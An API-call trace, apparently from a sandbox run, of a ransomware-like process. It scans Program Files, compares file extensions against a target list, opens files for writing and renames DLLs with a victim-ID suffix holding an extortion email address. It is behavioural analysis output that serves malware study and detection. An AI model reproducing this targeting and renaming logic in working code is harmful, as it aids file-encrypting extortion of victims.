	[0161.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\joan packages omissions.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe" (normalized: "c:\\program files\\common files\\joan packages omissions.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.233] lstrlenW (lpString=".doc") returned 4
	[0161.233] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0161.233] lstrlenW (lpString=".docx") returned 5
	[0161.233] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0161.233] lstrlenW (lpString=".pdf") returned 4
	[0161.233] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0161.233] lstrlenW (lpString=".xls") returned 4
	[0161.233] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0161.233] lstrlenW (lpString=".xlsx") returned 5
	[0161.233] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0161.233] lstrlenW (lpString=".ppt") returned 4
	[0161.234] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0161.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.234] lstrlenW (lpString=".zip") returned 4
	[0161.234] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0161.234] lstrlenW (lpString=".rar") returned 4
	[0161.234] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0161.234] lstrlenW (lpString=".bz2") returned 4
	[0161.234] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0161.234] lstrlenW (lpString=".7z") returned 3
	[0161.234] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0161.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.234] lstrlenW (lpString=".dbf") returned 4
	[0161.234] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0161.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.234] lstrlenW (lpString=".1cd") returned 4
	[0161.234] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0161.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.234] lstrlenW (lpString=".jpg") returned 4
	[0161.234] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0161.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.234] lstrlenW (lpString=".doc") returned 4
	[0161.234] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0161.234] lstrlenW (lpString=".docx") returned 5
	[0161.234] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0161.234] lstrlenW (lpString=".pdf") returned 4
	[0161.234] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0161.234] lstrlenW (lpString=".xls") returned 4
	[0161.234] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0161.234] lstrlenW (lpString=".xlsx") returned 5
	[0161.234] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0161.234] lstrlenW (lpString=".ppt") returned 4
	[0161.234] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0161.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.234] lstrlenW (lpString=".zip") returned 4
	[0161.234] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0161.235] lstrlenW (lpString=".rar") returned 4
	[0161.235] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0161.235] lstrlenW (lpString=".bz2") returned 4
	[0161.235] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0161.235] lstrlenW (lpString=".7z") returned 3
	[0161.235] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0161.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.235] lstrlenW (lpString=".dbf") returned 4
	[0161.235] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0161.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.235] lstrlenW (lpString=".1cd") returned 4
	[0161.235] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0161.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0161.235] lstrlenW (lpString=".jpg") returned 4
	[0161.235] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0161.235] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0161.235] lstrlenW (lpString="leechftp.exe") returned 12
	[0161.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0161.237] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=78336) returned 1
	[0161.237] CloseHandle (hObject=0x380) returned 1
	[0161.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe")) returned 0x20
	[0161.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\leechftp.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.238] lstrlenW (lpString=".doc") returned 4
	[0161.238] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0161.238] lstrlenW (lpString=".docx") returned 5
	[0161.238] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0161.238] lstrlenW (lpString=".pdf") returned 4
	[0161.238] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0161.238] lstrlenW (lpString=".xls") returned 4
	[0161.238] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0161.238] lstrlenW (lpString=".xlsx") returned 5
	[0161.238] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0161.238] lstrlenW (lpString=".ppt") returned 4
	[0161.238] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0161.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.238] lstrlenW (lpString=".zip") returned 4
	[0161.238] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0161.238] lstrlenW (lpString=".rar") returned 4
	[0161.238] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0161.238] lstrlenW (lpString=".bz2") returned 4
	[0161.238] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0161.238] lstrlenW (lpString=".7z") returned 3
	[0161.238] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0161.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.238] lstrlenW (lpString=".dbf") returned 4
	[0161.238] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0161.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.238] lstrlenW (lpString=".1cd") returned 4
	[0161.239] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0161.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.239] lstrlenW (lpString=".jpg") returned 4
	[0161.239] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0161.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.239] lstrlenW (lpString=".doc") returned 4
	[0161.239] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0161.239] lstrlenW (lpString=".docx") returned 5
	[0161.239] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0161.239] lstrlenW (lpString=".pdf") returned 4
	[0161.239] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0161.239] lstrlenW (lpString=".xls") returned 4
	[0161.239] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0161.239] lstrlenW (lpString=".xlsx") returned 5
	[0161.239] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0161.239] lstrlenW (lpString=".ppt") returned 4
	[0161.239] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0161.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.239] lstrlenW (lpString=".zip") returned 4
	[0161.239] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0161.239] lstrlenW (lpString=".rar") returned 4
	[0161.239] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0161.239] lstrlenW (lpString=".bz2") returned 4
	[0161.239] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0161.239] lstrlenW (lpString=".7z") returned 3
	[0161.239] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0161.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.239] lstrlenW (lpString=".dbf") returned 4
	[0161.239] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0161.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.239] lstrlenW (lpString=".1cd") returned 4
	[0161.239] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0161.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0161.239] lstrlenW (lpString=".jpg") returned 4
	[0161.239] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0161.240] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0161.240] lstrlenW (lpString="ApiClient.dll") returned 13
	[0161.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0161.240] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=162880) returned 1
	[0161.240] CloseHandle (hObject=0x380) returned 1
	[0161.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20
	[0161.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.240] lstrlenW (lpString=".doc") returned 4
	[0161.240] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0161.241] lstrlenW (lpString=".docx") returned 5
	[0161.241] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0161.241] lstrlenW (lpString=".pdf") returned 4
	[0161.241] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0161.241] lstrlenW (lpString=".xls") returned 4
	[0161.241] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0161.241] lstrlenW (lpString=".xlsx") returned 5
	[0161.241] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0161.241] lstrlenW (lpString=".ppt") returned 4
	[0161.241] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0161.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.241] lstrlenW (lpString=".zip") returned 4
	[0161.241] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0161.241] lstrlenW (lpString=".rar") returned 4
	[0161.241] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0161.241] lstrlenW (lpString=".bz2") returned 4
	[0161.241] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0161.241] lstrlenW (lpString=".7z") returned 3
	[0161.241] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0161.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.241] lstrlenW (lpString=".dbf") returned 4
	[0161.241] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0161.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.241] lstrlenW (lpString=".1cd") returned 4
	[0161.241] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0161.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.241] lstrlenW (lpString=".jpg") returned 4
	[0161.241] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0161.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.241] lstrlenW (lpString=".doc") returned 4
	[0161.241] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0161.241] lstrlenW (lpString=".docx") returned 5
	[0161.241] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0161.241] lstrlenW (lpString=".pdf") returned 4
	[0161.241] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0161.242] lstrlenW (lpString=".xls") returned 4
	[0161.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0161.242] lstrlenW (lpString=".xlsx") returned 5
	[0161.242] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0161.242] lstrlenW (lpString=".ppt") returned 4
	[0161.242] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0161.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.242] lstrlenW (lpString=".zip") returned 4
	[0161.242] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0161.242] lstrlenW (lpString=".rar") returned 4
	[0161.242] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0161.242] lstrlenW (lpString=".bz2") returned 4
	[0161.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0161.242] lstrlenW (lpString=".7z") returned 3
	[0161.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0161.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.242] lstrlenW (lpString=".dbf") returned 4
	[0161.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0161.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.242] lstrlenW (lpString=".1cd") returned 4
	[0161.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0161.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0161.242] lstrlenW (lpString=".jpg") returned 4
	[0161.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0161.242] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0161.242] lstrlenW (lpString="AppVCatalog.dll") returned 15
	[0161.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0161.243] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=656088) returned 1
	[0161.243] CloseHandle (hObject=0x380) returned 1
	[0161.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20
	[0161.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.243] lstrlenW (lpString=".doc") returned 4
	[0161.243] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0161.243] lstrlenW (lpString=".docx") returned 5
	[0161.243] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0161.243] lstrlenW (lpString=".pdf") returned 4
	[0161.243] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0161.243] lstrlenW (lpString=".xls") returned 4
	[0161.243] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0161.243] lstrlenW (lpString=".xlsx") returned 5
	[0161.243] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0161.243] lstrlenW (lpString=".ppt") returned 4
	[0161.243] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0161.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.243] lstrlenW (lpString=".zip") returned 4
	[0161.243] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0161.243] lstrlenW (lpString=".rar") returned 4
	[0161.243] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0161.243] lstrlenW (lpString=".bz2") returned 4
	[0161.243] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0161.244] lstrlenW (lpString=".7z") returned 3
	[0161.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0161.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.244] lstrlenW (lpString=".dbf") returned 4
	[0161.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0161.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.244] lstrlenW (lpString=".1cd") returned 4
	[0161.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0161.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.244] lstrlenW (lpString=".jpg") returned 4
	[0161.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0161.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.244] lstrlenW (lpString=".doc") returned 4
	[0161.244] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0161.244] lstrlenW (lpString=".docx") returned 5
	[0161.244] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0161.244] lstrlenW (lpString=".pdf") returned 4
	[0161.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0161.244] lstrlenW (lpString=".xls") returned 4
	[0161.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0161.244] lstrlenW (lpString=".xlsx") returned 5
	[0161.244] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0161.244] lstrlenW (lpString=".ppt") returned 4
	[0161.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0161.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.244] lstrlenW (lpString=".zip") returned 4
	[0161.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0161.244] lstrlenW (lpString=".rar") returned 4
	[0161.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0161.244] lstrlenW (lpString=".bz2") returned 4
	[0161.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0161.244] lstrlenW (lpString=".7z") returned 3
	[0161.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0161.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.245] lstrlenW (lpString=".dbf") returned 4
	[0161.245] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0161.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.245] lstrlenW (lpString=".1cd") returned 4
	[0161.245] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0161.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73
	[0161.245] lstrlenW (lpString=".jpg") returned 4
	[0161.245] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0161.245] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0161.245] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26
	[0161.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0161.245] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=307416) returned 1
	[0161.245] CloseHandle (hObject=0x380) returned 1
	[0161.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20
	[0161.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0161.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0161.246] lstrlenW (lpString=".doc") returned 4
	[0161.246] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0161.246] lstrlenW (lpString=".docx") returned 5
	[0161.246] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0161.246] lstrlenW (lpString=".pdf") returned 4
	[0161.246] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0161.246] lstrlenW (lpString=".xls") returned 4
	[0161.246] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0161.246] lstrlenW (lpString=".xlsx") returned 5
	[0161.246] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0161.246] lstrlenW (lpString=".ppt") returned 4
	[0161.246] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0161.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0161.246] lstrlenW (lpString=".zip") returned 4
	[0161.246] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0161.246] lstrlenW (lpString=".rar") returned 4
	[0161.246] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0161.246] lstrlenW (lpString=".bz2") returned 4
	[0161.246] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0161.246] lstrlenW (lpString=".7z") returned 3
	[0161.246] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0161.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0161.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0161.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
